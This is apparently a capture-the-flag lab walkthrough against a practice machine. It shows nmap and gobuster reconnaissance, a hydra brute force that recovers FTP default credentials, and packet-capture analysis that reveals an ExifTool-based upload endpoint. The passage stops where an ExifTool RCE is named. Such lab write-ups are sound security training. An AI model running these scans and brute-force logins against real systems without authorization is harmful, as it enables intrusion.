$ nmap -p- --min-rate 4000 -Pn 192.168.183.183
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 20:36 +08
Nmap scan report for 192.168.183.183
Host is up (0.18s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
FTP and HTTP.
Port 80 Dead End
Port 80 just shows a 403 page:
Running directory scans only shows one directory:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.183.183 -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.183.183
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/07/11 20:54:36 Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 320] [--> http://192.168.183.183/uploads/]
FTP Brute Force -> Wireshark
Anonymous credentials don't work with this FTP system, and because we had no other choice, I started brute forcing the FTP login with hydra. This took quite a while, but eventually I found some credentials:
$ hydra -I -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/seclists/Passwords/cirt-default-passwords.txt 192.168.183.183 ftp
[21][ftp] host: 192.168.183.183 login: user password: system
Great! Now we can login and view the files present:
$ ftp 192.168.183.183
Connected to 192.168.183.183.
220 (vsFTPd 3.0.3)
Name (192.168.183.183:kali): user
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 126151 Jan 27 2022 backup
We can open this up in wireshark and view the TCP streams. Within TCP Stream 1, we can find this HTTP request:
Seems that we are able to upload files through POST requests at exiftest.php:
$ curl http://192.168.183.183/exiftest.php
There is no file to upload.
From the PCAP file, we can actually export the exiftest.php file:
Interestingly the second exiftest.php was the response, and here's the contents:
$ cat exiftest\(1\).php
File uploaded successfully :)<pre>ExifTool Version Number : 12.23
File Name : phpopnW14.jpg
Directory : /var/www/html/uploads
File Size : 14 KiB
File Modification Date/Time : 2022:01:27 14:47:37+02:00
File Access Date/Time : 2022:01:27 14:47:37+02:00
File Inode Change Date/Time : 2022:01:27 14:47:37+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 120
Y Resolution : 120
Image Width : 253
Image Height : 257
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 253x257
Megapixels : 0.065
</pre>
File Upload -> Exiftool RCE
It appears that the website is accepting images, and then running exiftool on it as a response. This version of exiftool is vulnerable to an RCE exploit.
